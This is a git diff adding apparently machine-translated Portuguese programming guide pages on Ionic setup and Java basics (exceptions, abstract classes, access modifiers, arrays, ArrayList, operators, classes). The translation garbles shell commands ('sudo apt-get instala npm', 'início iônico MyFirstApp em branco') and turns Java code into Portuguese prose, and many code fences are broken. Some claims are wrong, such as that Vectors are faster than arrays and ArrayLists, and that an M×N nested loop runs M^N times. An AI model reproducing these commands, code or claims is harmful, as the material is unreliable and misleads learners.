+### Construindo aplicativos híbridos com o Ionic
+
+Aqueles familiarizados com o desenvolvimento da web encontrarão a estrutura de um aplicativo iônico simples. Em essência, é apenas uma página da web em execução em um shell de aplicativo nativo! Isso significa que podemos usar qualquer tipo de HTML, CSS e Javascript que quisermos.
+
+A maior parte de um aplicativo iônico será escrita em HTML, Javascript e CSS. O Ionic também usa o AngularJS para muitas das principais funcionalidades do framework.
+
+### Antes de podermos começar a jogar com o Ionic. Vamos preparar nosso sistema primeiro:
+```
+  nodeJS and npm 
+  Ionic 2 
+  Cordova 
+  Android Environment (or iOS if you're working on a MacOS) 
+```
+
+### Primeiro, primeiro, precisamos ter o Node.js e o npm.
+```
+  sudo apt-get update 
+  sudo apt-get install nodejs 
+```
+
+### Gerenciador de pacotes Node.js (npm)
+
+\`\` \`  
+sudo apt-get instala npm
+```
+### Ionic 2 and cordova 
+```
+
+sudo npm install -g ionic cordova
+```
+### Now sit back and relax, give it some time to finish, it can take several minutes depending on your internet connection. 
+ Once that's done, Let's start off by generating a new project based on the “blank” template 
+```
+
+início iônico MyFirstApp em branco cd MyFirstApp saque iônico \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ionic/ionicons/index.md b/client/src/guide/portuguese/ionic/ionicons/index.md
new file mode 100644
index 0000000000..1525a8db2f
--- /dev/null
+++ b/client/src/guide/portuguese/ionic/ionicons/index.md
@@ -0,0 +1,11 @@
+---
+title: Ionicons
+localeTitle: Ionicons
+---
+## Ionicons
+
+O Ionicons é um conjunto de ícones completamente de código aberto criado para aplicativos da Web, iOS, Android e desktop. Ionicons foi criado para o Ionic Framework, portanto, os ícones têm versões de Material Design e iOS. Quando usado com o Ionic, o componente `ion-icon` utilizará automaticamente a versão correta com base na sua plataforma. Além disso, quando usado fora do Ionic, as plataformas `ios` e `md` podem ser escolhidas pelo aplicativo.
+
+### Recursos
+
+*   [Ionicons](https://ionicons.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/ExceptionHandling b/client/src/guide/portuguese/java/ExceptionHandling
new file mode 100644
index 0000000000..d809812a2f
--- /dev/null
+++ b/client/src/guide/portuguese/java/ExceptionHandling
@@ -0,0 +1,34 @@
+---
+title: Exceptions in Java
+localeTitle: Exceções em Java
+---
+## O que é uma exceção?
+
+Uma exceção é um evento indesejado ou inesperado, que ocorre durante a execução de um programa, ou seja, no tempo de execução, que interrompe o fluxo normal das instruções do programa.
+
+## Erro vs exceção
+
+Erro: Um erro indica um problema sério que um aplicativo razoável não deve tentar capturar. Exceção: Exceção indica condições que um aplicativo razoável pode tentar capturar.
+
+## Hierarquia de exceções
+
+Todos os tipos de exceção e erros são subclasses da classe Throwable, que é a classe base da hierarquia.Um branch é liderado por Exception. Essa classe é usada para condições excepcionais que os programas do usuário devem capturar. NullPointerException é um exemplo de uma exceção. Outra ramificação, Erro, é usada pelo Java run-time system (JVM) para indicar erros relacionados ao próprio ambiente de tempo de execução (JRE). StackOverflowError é um exemplo de tal erro.
+
+## Como usar a cláusula try-catch
+```
+try { 
+ // block of code to monitor for errors 
+ // the code you think can raise an exception 
+ } 
+ catch (ExceptionType1 exOb) { 
+ // exception handler for ExceptionType1 
+ } 
+ catch (ExceptionType2 exOb) { 
+ // exception handler for ExceptionType2 
+ } 
+ // optional 
+ finally { 
+ // block of code to be executed after try block ends 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/abstract-class/index.md b/client/src/guide/portuguese/java/abstract-class/index.md
new file mode 100644
index 0000000000..45dcd410f5
--- /dev/null
+++ b/client/src/guide/portuguese/java/abstract-class/index.md
@@ -0,0 +1,26 @@
+---
+title: Abstract Classes in Java
+localeTitle: Classes Abstratas em Java
+---
+Vamos discutir classes abstratas. Antes de mergulhar neste tutorial, é melhor que você tenha entendido conceitos de classes e herança.
+
+Classes abstratas são classes que podem ser subclassificadas (isto é, estendidas), mas não podem ser instanciadas. Você pode pensar neles como uma **versão** de **classe** de interfaces ou como uma interface com código real anexado aos métodos.
+
+Considere o seguinte exemplo para entender classes abstratas: Você tem uma classe Vehicle que define certas funcionalidades básicas (métodos) e certos componentes (variáveis ​​de objeto) que uma máquina deve ter, para ser classificada como veículo. Você não pode criar um objeto de Veículo porque um veículo em si é um conceito abstrato. No entanto, você pode estender a funcionalidade da classe de veículo para criar um carro ou uma motocicleta.
+
+\`\` \`java classe abstrata Veículo { // variável usada para declarar o não. de rodas em um veículo rodas int privadas;
+
+// Variável para definir o tipo de motor usado Motor privado;
+
+// um método abstrato que apenas declara, mas não define o início // funcionalidade porque cada veículo usa um mecanismo de partida diferente Resumo void start (); }
+
+carro de classe pública estende veículo { … }
+
+classe pública motocicleta estende veículo { … }
+```
+You cannot create an object of Vehicle class anywhere in your program. You can however, extend the abstract vehicle class and create objects of the child classes; 
+```
+
+Java Veículo newVehicle = new Vehicle (); // Inválido Veículo car = new Car (); // válido Veículo mBike = new Motorcycle (); // válido
+
+Car carObj = carro novo (); // válido Motocicleta mBikeObj = nova motocicleta (); // válido \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/access-modifiers/index.md b/client/src/guide/portuguese/java/access-modifiers/index.md
new file mode 100644
index 0000000000..4fb09b21f6
--- /dev/null
+++ b/client/src/guide/portuguese/java/access-modifiers/index.md
@@ -0,0 +1,123 @@
+---
+title: Access Modifiers
+localeTitle: Modificadores de Acesso
+---
+# Modificadores de Acesso
+
+Você já quis definir como as pessoas acessariam algumas de suas propriedades? Você não iria querer que ninguém usasse sua cueca. No entanto, seus amigos próximos e parentes podem usar seu suéter e talvez seu carro.
+
+Da mesma forma que você define um nível de acesso às suas posições, o Java também controla o acesso. Você deseja definir o nível de acesso para variáveis, métodos e classes, dependendo de quais outras classes você deseja acessá-las.
+
+Java fornece 4 níveis de modificadores de acesso. Isso significa que você pode modificar o acesso a uma variável, método ou classe de 4 maneiras. Essas 4 formas são privadas, públicas, protegidas e padrão.
+
+Estes modificadores de acesso podem ser aplicados a campos, métodos e classes (as Classes são um caso especial, nós as veremos no final deste artigo). Aqui está uma visão geral 1 do que são os `Access Levels` para cada `Access Modifier` :
+
+#### Referência da Tabela de Modificadores de Acesso:
+
+![Tabela de modificadores de acesso](https://i.imgur.com/zoMspyn.png)
+
+#### Modificador de Acesso Privado
+
+Permite que uma variável ou método seja acessado somente na classe em que foi criada. Nenhuma outra classe além da classe que criou a variável ou método pode acessá-la. Isso é muito semelhante aos seus órgãos internos. Eles só são acessíveis ao proprietário. Para tornar uma variável ou método privado, basta anexar a palavra-chave privada antes da variável ou do tipo de método. Vamos usar privado em um exemplo de codificação. Se um banco quiser fornecer uma taxa de juros de 10% sobre seus empréstimos, ele garantiria que a variável de taxa de juros (suponhamos `int int_rate;` ) permanecesse privada, de modo que nenhuma outra classe tentaria acessá-lo e alterá-lo. Por exemplo;
+
+`private String name;`
+
+O exemplo acima cria uma variável chamada nome e garante que ela seja acessível somente dentro da classe a partir da qual foi criada.
+
+Outro exemplo para um método é `java private void setAge(){ System.out.println("Set Age"); }` O exemplo acima garante que o método setAge seja acessível somente dentro da classe da qual foi criado e em nenhum outro lugar.
+
+#### Modificador de Acesso Público
+
+O modificador de acesso público é o oposto direto do modificador de acesso privado. Uma classe, método ou variável pode ser declarada como pública e significa que é acessível de qualquer classe. O modificador de acesso público pode ser comparado a uma escola pública onde qualquer pessoa pode procurar admissão e ser admitida.
+
+Uma classe, método ou variável pública pode ser acessada de qualquer outra classe a qualquer momento.
+
+Por exemplo, para declarar uma classe como pública, tudo o que você precisa é:
+
+```java
+public class Animal{ 
+ 
+ } 
+```
+
+Como tal, a classe Animal pode ser acessada por qualquer outra classe.
+
+```java
+public int age; 
+ public int getAge(){ 
+ } 
+```
+
+Acima estão as maneiras de especificar uma variável e um método como público.
+
+#### O modificador de acesso padrão
+
+O modificador de acesso padrão é diferente de todos os outros modificadores de acesso, pois não possui uma palavra-chave. Para usar o modificador de acesso padrão, você simplesmente não usa nenhum dos outros modificadores de acesso e isso significa simplesmente que você está usando um modificador de acesso padrão.
+
+Por exemplo, para usar o modificador de acesso padrão para uma classe, você usa
+
+```java
+class Bird{ 
+ } 
+```
+
+Isso basicamente significa que você está usando o modificador de acesso padrão. O modificador de acesso padrão permite que uma variável, método ou classe seja acessível por outras classes dentro do mesmo pacote. Um pacote é uma coleção de classes relacionadas em um diretório de arquivos. Para mais informações sobre pacotes, confira a seção sobre pacotes.
+
+Qualquer variável, método ou classe declarada para usar o modificador de acesso padrão não pode ser acessada por nenhuma outra classe fora do pacote do qual ela foi declarada.
+
+```java
+int age; 
+ void setNewAge(){ 
+ } 
+```
+
+Acima estão algumas maneiras de usar o modificador de acesso padrão para uma variável ou método. Não se esqueça de que o modificador de acesso padrão não possui uma palavra-chave. A ausência dos outros 3 modificadores de acesso significa que você está usando o modificador de acesso padrão.
+
+#### Modificador de Acesso Protegido
+
+O modificador de acesso protegido está intimamente relacionado ao modificador de acesso padrão. O modificador de acesso protegido tem as propriedades do modificador de acesso padrão, mas com uma pequena melhoria.
+
+Uma variável e um método são os únicos a usar o modificador de acesso protegido. A pequena melhoria é que uma classe fora do pacote de classes a partir da qual a variável ou método foi declarado pode acessar a referida variável ou método. Isso é possível somente se ele herda da classe, no entanto.
+
+A classe de outro pacote que pode ver variáveis ​​ou métodos protegidos deve ter estendido a classe que criou as variáveis ​​ou métodos.
+
+Nota sem a vantagem da Herança, um modificador de acesso padrão tem exatamente o mesmo acesso que um modificador de acesso protegido.
+
+Exemplos de uso do modificador de acesso protegido são mostrados abaixo:
+
+```java
+protected int age; 
+ protected String getName(){ 
+  return "My Name is You"; 
+ } 
+```
+
+#### Modificadores de Acesso em Classes
+
+Por padrão, as classes podem ter apenas dois modificadores:
+
+*   público
+*   sem modificador (modificador padrão)
+
+Então isso significa que as classes nunca podem ser definidas como `private` ou `protected` ?
+
+Isso é lógico, por que você quer fazer uma aula particular? Nenhuma outra classe seria capaz de usá-lo. Mas às vezes, você pode incorporar uma turma em outra turma. Essas classes especiais, classes `inner classes` , podem ser definidas como privadas ou protegidas para que somente a classe que as rodeia possa acessá-las:
+
+```java
+public class Car { 
+    private String brand; 
+    private Engine engine; 
+    // ... 
+    private class Engine { 
+        // ... 
+    } 
+ } 
+```
+
+No exemplo acima, somente a classe `Car` pode usar a classe `Engine` . Isso pode ser útil em alguns casos.
+
+Outras classes nunca podem ser definidas como `protected` ou `private` , porque não faz sentido. O modificador de acesso `protected` é usado para tornar as coisas do `package-private` mas com a opção de serem acessíveis às subclasses. Não há conceito como 'subpackages' ou 'package-inheritance' em java.
+
+### Fontes
+
+[1\. Documentos do Oracle sobre Modificadores de Acesso](https://docs.oracle.com/javase/tutorial/java/javaOO/accesscontrol.html "Oracle Docs")
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/arraylist/index.md b/client/src/guide/portuguese/java/arraylist/index.md
new file mode 100644
index 0000000000..474ec97d2d
--- /dev/null
+++ b/client/src/guide/portuguese/java/arraylist/index.md
@@ -0,0 +1,23 @@
+---
+title: ArrayList
+localeTitle: ArrayList
+---
+# ArrayList
+
+ArrayList é uma parte de algo chamado de _estrutura de coleção_ .
+
+A _estrutura de coleta_ consiste em todas as interfaces e classes que podem conter um conjunto de valores (semelhante a [matrizes](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/arrays.html) ). **ArrayList** é uma classe que está nesta hierarquia e é conhecida como um _**objeto Collection**_ . Ele implementa a interface _List_ , que por sua vez implementa a interface _Collection_ . Essa interface _Collection_ pode ser encontrada no pacote `java.util` . Você precisará importar este pacote.
+
+ArrayList é uma classe usada para criar matrizes dinâmicas. É mais lento que os arrays regulares, mas permite muita manipulação. Pode ser inicializado para ter um tamanho específico ou terá um tamanho padrão de 10 unidades.
+
+`java ArrayList<String> names = new ArrayList<>(); ArrayList<Integer> ages = new ArrayList<>(5);`
+
+No snippet acima, o ângulo breackets `<>` toma um tipo de dados genérico como argumento especificando o tipo de dados dos elementos no ArrayList. Os primeiros `names` ArrayList são especificados como contendo elementos _String_ . Assim, só será permitido conter elementos String. Seu tamanho não é especificado, portanto, ele terá um tamanho padrão de 10. A segunda `ages` ArrayList especificou que ele só conterá inteiros. Mas ArrayList não pode conter primitivos, ele só contém objetos. Assim, para torná-lo armazenar números inteiros, flutuantes, etc., podemos usar classes wrapper. `names` terão um tamanho especificado de 5.
+
+Como ArrayList implementa _List_ , um ArrayList pode ser criado usando a seguinte sintaxe: `java List<Integer> students = new ArrayList<>();`
+
+Um ArrayList é dinâmico, o que significa que ele aumentará de tamanho se necessário e, da mesma forma, diminuirá em tamanho se os elementos forem excluídos dele. É isso que faz com que seja melhor usar do que os arrays normais.
+
+Um ArrayList nos permite acessar elementos aleatoriamente. ArrayList é semelhante ao _Vector de_ várias formas. Mas é mais rápido que Vetores. A principal coisa a notar é que - Os vetores são mais rápidos que os arrays, mas os ArrayLists não são.
+
+Então, quando se trata de escolher entre os dois - se a velocidade é crítica, então os vetores devem ser considerados, caso contrário, ArrayLists são melhores quando se trata de armazenar grande número de elementos e acessá-los de forma eficiente.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/arrays/index.md b/client/src/guide/portuguese/java/arrays/index.md
new file mode 100644
index 0000000000..417833c950
--- /dev/null
+++ b/client/src/guide/portuguese/java/arrays/index.md
@@ -0,0 +1,186 @@
+---
+title: Arrays
+localeTitle: Matrizes
+---
+# Matriz
+
+Uma Matriz é uma coleção de valores (ou objetos) de tipos de dados semelhantes (primitiva e de referência que ambas as formas de tipos de dados são permitidas) mantidas em endereços de memória sequencial. Um Array é usado para armazenar uma coleção de tipos de dados semelhantes. Matrizes sempre começam com o índice de 0 e são instanciados para um número definido de índices. Todas as variáveis ​​na matriz devem ser do mesmo tipo, declaradas na instanciação.
+
+**Sintaxe:**
+
+```java
+dataType[] arrayName;   // preferred way 
+```
+
+Aqui, o `java datatype[]` descreve que todas as variáveis ​​declaradas depois serão instanciadas como matrizes do tipo de dados especificado. Então, se quisermos instanciar mais matrizes do tipo de dados similar, nós apenas temos que adicioná-los após o `java arrayName` especificado de `java arrayName` (não se esqueça de separá-los somente através de vírgulas). Um exemplo é dado abaixo na próxima seção para referência.
+
+```java
+dataType arrayName[];  //  works but not preferred way 
+```
+
+Aqui, o `java datatype` descreve apenas as variáveis ​​declaradas após pertencerem a esse tipo de dados. Além disso, `java []` após o nome da variável descreve que a variável é uma matriz do tipo de dados especificado (não apenas um valor ou objeto desse tipo de dados). Então, se quisermos instanciar mais matrizes do tipo de dados similar, vamos adicionar os nomes das variáveis ​​logo após o que já foi especificado, separados por vírgulas e cada vez teremos que adicionar `java []` após o nome da variável, caso contrário a variável será instanciado como uma variável ordinária de armazenamento de valor (não uma matriz). Para um melhor entendimento, um exemplo é dado na próxima seção.
+
+## Snippets de código da sintaxe acima:
+
+```java
+double[] list1, list2; // preferred way 
+```
+
+O snippet de código acima instancia duas matrizes de nomes de tipo duplo list1 e list2.
+
+```java
+double list1[], list2; // works but not preferred way 
+```
+
+Trecho de código acima, uma matriz de tipo de dados double list1 nomeada e uma variável simples de tipo de dados double list2 nomeada (Não confunda com o nome **list2** . Nomes de variáveis ​​não têm nada a ver com o tipo de variável).
+
+Nota: A `double list[]` estilos `double list[]` não é preferida, pois vem da linguagem C / C ++ e foi adotada em Java para acomodar os programadores C / C ++. Além disso, é mais legível: você pode ler que é uma "lista com nome de matriz dupla" diferente de "uma lista chamada dupla que é uma matriz"
+
+## Criando matrizes:
+
+```java
+dataType[] arrayName = new dataType[arraySize]; 
+```
+
+## Snippets de código da sintaxe acima:
+
+```java
+double[] List = new double[10]; 
+```
+
+## Outra maneira de criar uma matriz:
+
+```java
+dataType[] arrayName = {value_0, value_1, ..., value_k}; 
+```
+
+## Snippets de código da sintaxe acima:
+
+```java
+double[] list = {1, 2, 3, 4}; 
+ 
+ The code above is equivalent to: 
+ double[] list = new double[4]; 
+ *IMPORTANT NOTE: Please note the difference between the types of brackets 
+ that are used to represent arrays in two different ways. 
+```
+
+## Acessando Arrays:
+
+```java
+arrayName[index]; // gives you the value at the specified index 
+```
+
+## Snippets de código da sintaxe acima:
+
+```java
+System.out.println(list[1]); 
+```
+
+Saída:
+```
+2.0 
+```
+
+## Modificando Arrays:
+
+```java
+arrayName[index] = value; 
+```
+
+Nota: Você não pode alterar o tamanho ou o tipo de um array após inicializá-lo. Nota: Você pode, no entanto, redefinir a matriz assim
+
+```java
+arrayName = new dataType[] {value1, value2, value3}; 
+```
+
+## Tamanho das matrizes:
+
+É possível encontrar o número de elementos em uma matriz usando o "atributo length". Deve ser notado aqui que o `java length` é um **atributo** de cada array, isto é, um nome de variável que armazena o tamanho da variável. Não deve ser confundido com um **método** de array, uma vez que o nome é o mesmo que o método `java length()` correspondente às classes String.
+
+```java
+int[] a = {4, 5, 6, 7, 8}; // declare array 
+ System.out.println(a.length); //prints 5 
+```
+
+## Snippets de código da sintaxe acima:
+
+```java
+list[1] = 3; // now, if you access the array like above, it will output 3 rather than 2 
+```
+
+_Exemplo de código:_
+
+```java
+int[] a = {4, 5, 6, 7, 8}; // declare array 
+ for (int i = 0; i < a.length; i++){ // loop goes through each index 
+    System.out.println(a[i]); // prints the array 
+ } 
+```
+
+Saída:
+
+```java
+    4 
+    5 
+    6 
+    7 
+    8 
+```
+
+### Matrizes multidimensionais
+
+Arrays bidimensionais (arrays 2D) podem ser considerados como uma tabela com linhas e colunas. Embora essa representação seja apenas uma maneira de visualizar a matriz para uma melhor solução de problemas. Os valores são realmente armazenados apenas em endereços de memória sequencial.
+
+```java
+int M = 5; 
+ int N = 5; 
+ double[][] a = new double [M][N]; //M = rows N = columns 
+ for(int i = 0; i < M; i++) { 
+    for (int j = 0; j < N; j++) { 
+        //Do something here at index 
+    } 
+ } 
+```
+
+Este loop irá executar M ^ N vezes e irá construir isso:
+
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]
+
+Da mesma forma, um array 3D também pode ser feito. Ele pode ser visualizado como um cuboide em vez de um retângulo (como acima), dividido em cubos menores, com cada cubo armazenando algum valor. Pode ser inicializado a seguir:
+
+```java
+int a=2, b=3, c=4; 
+ int[][][] a=new int[a][b][c]; 
+```
+
+De um modo semelhante, pode-se dispor de um conjunto de dimensões que ele deseja, mas visualizar uma matriz de mais de três dimensões é difícil de visualizar de uma maneira particular.
+
+### Matrizes irregulares
+
+Matrizes irregulares são matrizes multidimensionais que possuem um número definido de linhas, mas um número variável de colunas. Matrizes irregulares são usadas para conservar o uso da memória da matriz. Aqui está um exemplo de código:
+
+```java
+int[][] array = new int[5][]; //initialize a 2D array with 5 rows 
+ array[0] = new int[1]; //creates 1 column for first row 
+ array[1] = new int[2]; //creates 2 columns for second row 
+ array[2] = new int[5]; //creates 5 columns for third row 
+ array[3] = new int[5]; //creates 5 columns for fourth row 
+ array[4] = new int[5]; //creates 5 columns for fifth row 
+```
+
+Saída:
+
+\[0\]  
+\[0 | 1\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]
+
+#### Mais Informações:
+
+*   Fonte: [Matrizes Java](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/arrays.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/basic-operations/bitwise-operators/index.md b/client/src/guide/portuguese/java/basic-operations/bitwise-operators/index.md
new file mode 100644
index 0000000000..dd12d1256d
--- /dev/null
+++ b/client/src/guide/portuguese/java/basic-operations/bitwise-operators/index.md
@@ -0,0 +1,61 @@
+---
+title: bitwise operator example
+localeTitle: exemplo de operador bit a bit
+---
+# Operadores bit a bit
+
+## Tabela verdade
+
+![truth table](https://4.bp.blogspot.com/-0KPDI41veH0/V-OtObm_UWI/AAAAAAAAAso/CkTS0zUMGKIjlE3gUD0fMhmp-B0zcfBmACLcB/s1600/Bitwise-truthtable-Javaform.jpg "tabela de verdade")
+
+Os operadores bit a bit são semelhantes aos operadores lógicos, exceto pelo fato de trabalharem em uma escala menor - representações binárias de dados. Qualquer dado pode ser convertido em seu equivalente binário. Embora os operadores binários trabalhem em nível binário, mas eles são operados apenas entre valores decimais normais.
+
+## Tipos de operadores bit a bit
+
+### Bit a bit OU
+
+OR bit a bit é um operador binário (opera em dois operandos). É denotado por |. O | operador compara bits correspondentes de dois operandos. Se um dos bits é 1, dá 1. Se não, dá 0.
+
+### Bit a bit E
+
+Bitwise AND é um operador binário (opera em dois operandos). É denotado por &. O operador & compara os bits correspondentes de dois operandos. Se ambos os bits são 1, ele dá 1. Se um dos bits não for 1, ele dará 0.
+
+### Complemento Bitwise
+
+O complemento bit a bit é um operador unário (funciona em apenas um operando). É denotado por ~. O operador ~ inverte o padrão de bits. Faz a cada 0 a 1 e a cada 1 a 0.
+
+### Bit a bit XOR
+
+Bitwise XOR é um operador binário (opera em dois operandos). É denotado por ^. O operador ^ compara os bits correspondentes de dois operandos. Se os bits correspondentes são diferentes, dá 1. Se os bits correspondentes são os mesmos, dá 0.
+
+### Desvio à esquerda
+
+O operador de deslocamento à esquerda << desloca um padrão de bits para a esquerda por certo número de bits especificados, e os bits de zero são deslocados para as posições de baixa ordem.
+
+### Deslocamento para a direita
+
+O operador de deslocamento à direita >> desloca um padrão de bits para a direita por certo número de bits especificados. Se o número for um número com sinal de complemento de 2, o bit de sinal é deslocado para as posições de ordem superior.
+
+### Deslocamento à direita não assinado
+
+O operador de deslocamento à direita sem sinal >>> muda o zero para a posição mais à esquerda.
+
+### Exemplo de operadores bit a bit:
+
+```java
+    int a = 60;          /* 60 = 0011 1100 represents 60 in binary*/ 
+    int b = 13;          /* 13 = 0000 1101 */ 
+    int c = 0; 
+ 
+    c = a & b;        /* 12 = 0000 1100 */ 
+    c = a | b;        /* 61 = 0011 1101 */ 
+    c = a ^ b;        /* 49 = 0011 0001 */ 
+    c = ~a;           /*-61 = 1100 0011  :Invert all bits */ 
+ 
+    // shift operators : zeros are shifted in to replace the discarded bits 
+    c = a << 2;       /* 240 = 1111 0000 : Shift left 2 bits*/ 
+    c = a >> 2;       /* 15 = 1111 */ 
+    c = a >>> 2;      /* 15 = 0000 1111 : Zero fill right shift*/ 
+```
+
+**PARA MAIS INFORMAÇÕES:** [Clique Aqui](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/op3.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/basic-operations/index.md b/client/src/guide/portuguese/java/basic-operations/index.md
new file mode 100644
index 0000000000..e85658fdba
--- /dev/null
+++ b/client/src/guide/portuguese/java/basic-operations/index.md
@@ -0,0 +1,44 @@
+---
+title: Basic Operations
+localeTitle: Operações básicas
+---
+# Operações básicas
+
+Java suporta as seguintes operações em variáveis:
+
+*   **Aritmética** : `Addition (+)` , `Subtraction (-)` , `Multiplication (*)` , `Division (/)` , `Modulus (%)` , `Increment (++)` , `Decrement (--)` .
+*   **Concatenação de strings** : `+` pode ser usado para concatenação de strings, mas subtração `-` em uma string não é uma operação válida.
+*   **Relacional** : `Equal to (==)` , `Not Equal to (!=)` , `Greater than (>)` , `Less than (<)` , `Greater than or equal to (>=)` , `Less than or equal to (<=)`
+*   **Bit a bit** : `Bitwise And (&)` , `Bitwise Or (|)` , `Bitwise XOR (^)` , `Bitwise Compliment (~)` , `Left shift (<<)` , `Right Shift (>>)` , `Zero fill right shift (>>>)`
+*   **Lógico** : `Logical And (&&)` , `Logical Or (||)` , `Logical Not (!)`
+*   **Tarefa** : `=` , `+=` , `-=` , `*=` , `/=` , `%=` , `<<=` , `>>=` , `&=` , `^=` , `|=`
+*   **Outros** : `Conditional/Ternary(?:)` , `instanceof`
+
+Embora a maioria das operações seja autoexplicativa, o Operador Condicional (Ternary) funciona da seguinte maneira:
+
+`expression that results in boolean output ? return this value if true : return this value if false;`
+
+Exemplo: Condição verdadeira:
+
+```java
+    int x = 10; 
+    int y = (x == 10) ? 5 : 9; // y will equal 5 since the expression x == 10 evaluates to true 
+```
+
+Condição Falsa:
+
+```java
+    int x = 25; 
+    int y = (x == 10) ? 5 : 9; // y will equal 9 since the expression x == 10 evaluates to false 
+```
+
+A instância do operador é usada para verificação de tipo. Pode ser usado para testar se um objeto é uma instância de uma classe, uma subclasse ou uma interface. Formato geral _**instância** do objeto da classe / subclasse / interface_
+
+Aqui está um programa para ilustrar o operador instanecof: \`\` \`Java Pessoa obj1 = new Person (); Pessoa obj2 = new Boy ();
+```
+    // As obj is of type person, it is not an 
+    // instance of Boy or interface 
+    System.out.println("obj1 instanceof Person: " +  (obj1 instanceof Person)); /*it returns true since obj1 is an instance of person */ 
+```
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/build-tools/index.md b/client/src/guide/portuguese/java/build-tools/index.md
new file mode 100644
index 0000000000..004f807e6f
--- /dev/null
+++ b/client/src/guide/portuguese/java/build-tools/index.md
@@ -0,0 +1,25 @@
+---
+title: Build Tools
+localeTitle: Ferramentas de compilação
+---
+# Ferramentas de compilação
+
+As ferramentas de compilação Java permitem que você personalize suas compilações para fazer coisas como especificar quais arquivos precisam ser incluídos em seu jar, adicionar dependências da Internet e executar automaticamente tarefas como testes ou commits do github. As ferramentas de criação também facilitam a modularização de seus projetos. Ferramentas de construção populares incluem [Gradle](https://gradle.org/) e [Maven](https://maven.apache.org/)
+
+## Gradle
+
+Os scripts de construção Gradle podem ser escritos em Groovy ou Kotlin e são altamente personalizáveis. A maioria dos projetos usa o wrapper Gradle, permitindo que eles sejam criados em qualquer sistema, mesmo sem o Gradle instalado. Gradle é a ferramenta de criação recomendada para o desenvolvimento do Android.
+
+## Maven
+
+Os arquivos de construção do Maven são gravados com XML. Como o Gradle, muitos plugins são escritos para o Maven customizar suas construções, no entanto o Maven não é tão personalizável porque você não pode interagir diretamente com uma API do Maven.
+
+### Mais Informações:
+
+https://gradle.org/
+
+https://en.wikipedia.org/wiki/Gradle
+
+https://maven.apache.org/what-is-maven.html
+
+https://en.wikipedia.org/wiki/Apache\_Maven
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/built-in-functions/index.md b/client/src/guide/portuguese/java/built-in-functions/index.md
new file mode 100644
index 0000000000..49c4e63764
--- /dev/null
+++ b/client/src/guide/portuguese/java/built-in-functions/index.md
@@ -0,0 +1,14 @@
+---
+title: Built-In Functions
+localeTitle: Funções incorporadas
+---
+# Funções incorporadas
+
+O Java também possui muitas funções internas ou pré-definidas que normalmente são armazenadas nos pacotes java.lang e java.io, que são importados automaticamente em editores como o BlueJ ou podem ser importados usando a seguinte sintaxe:
+
+```java
+import java.lang.*; 
+ import java.io.*; 
+```
+
+Estes incluem funções que facilitam uma tarefa longa e difícil.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/classes-and-objects/index.md b/client/src/guide/portuguese/java/classes-and-objects/index.md
new file mode 100644
index 0000000000..6397d54383
--- /dev/null
+++ b/client/src/guide/portuguese/java/classes-and-objects/index.md
@@ -0,0 +1,85 @@
+---
+title: Classes and Objects
+localeTitle: Classes e Objetos
+---
+# Classes e Objetos
+
+Classes são grupos de variáveis ​​e operações neles. Uma classe pode ter variáveis, métodos (ou funções) e construtores (ou métodos que são usados ​​para iniciar, mais sobre isso depois!).
+
+Uma classe pode conter qualquer um dos seguintes tipos de variáveis.
+
+*   Variáveis ​​de Classe: Estas são as variáveis ​​que são declaradas dentro da definição da classe, fora de qualquer método, com a palavra-chave estática. Uma variável de classe é compartilhada entre todas as instâncias de uma classe. As variáveis ​​de classe também são conhecidas como variáveis ​​estáticas, elas são inicializadas apenas uma vez no momento da compilação da classe, portanto, apenas uma única cópia deste está disponível para todas as instâncias.
+*   Variáveis ​​de instância: A diferença com as variáveis ​​de classe é que as variáveis ​​de instância são inicializadas dentro do construtor de classe e não são compartilhadas entre todos os objetos. No momento da instanciação, uma nova cópia da variável de instância é criada.
+
+```java
+public class Example { 
+ 
+    private static int myVar = 1; // Class Variable 
+ 
+    private int mySecondVar; // Instance Variable 
+    Example(int mySecondVar) { 
+            this.mySecondVar = mySecondVar; // An instance variable must be initialized inside the constructor 
+```
+
+Pense em uma `Class` como uma planta para criar algo concreto. Uma `Class` informa como o 'o que' e 'como' um `object` da referida Classe parecerá `instantiated` uma vez. Em essência, define `properties` (digamos, cor, capacidade do motor) e `behavior` (parar, acelerar, mudar de marcha, buzinar etc.) para um carro no caso abaixo.
+
+Objetos são _instâncias_ de uma classe. Todos os objetos são instâncias de uma determinada classe. Imagine uma classe sendo um "modelo", do qual cada objeto é copiado. Quando você cria um objeto, ele basicamente cria um novo objeto no blueprint de uma classe. Agora vamos ver isso em um pequeno trecho de código:
+
+```java
+// Car class 
+ public class Car { 
+    // car name 
+    private String name; 
+ 
+    // car manufacturer name 
+    private String manufacturerName; 
+ 
+    // constructor 1 
+    public Car() { 
+    } 
+ 
+    // constructor 2 
+    public Car(String name, String man) { 
+        this.name = name; 
+        this.manufacturerName = man; 
+    } 
+ 
+    // getter name method 
+    public String getName() { 
+        return name; 
+    } 
+ 
+    // getter manufacture method 
+    public String getManufacturerName() { 
+        return manufacturerName; 
+    } 
+ 
+    //setter name method 
+    public void setName(String name){ 
+        this.name = name; 
+    } 
+ 
+    //setter manufacture method 
+    public void setManufacture(String man){ 
+        this.manufacturerName = man; 
+    } 
+ } 
+ 
+ // sample code 
+ 
+ Car modelS = new Car("Model S","Tesla"); 
+ // prints Tesla Model S 
+ System.out.println("Full Car Model S= " + modelS.getManufacturerName() + " : " + modelS.getName()); 
+ 
+ Car modelX = new Car(); 
+ modelX.setName("Model X"); 
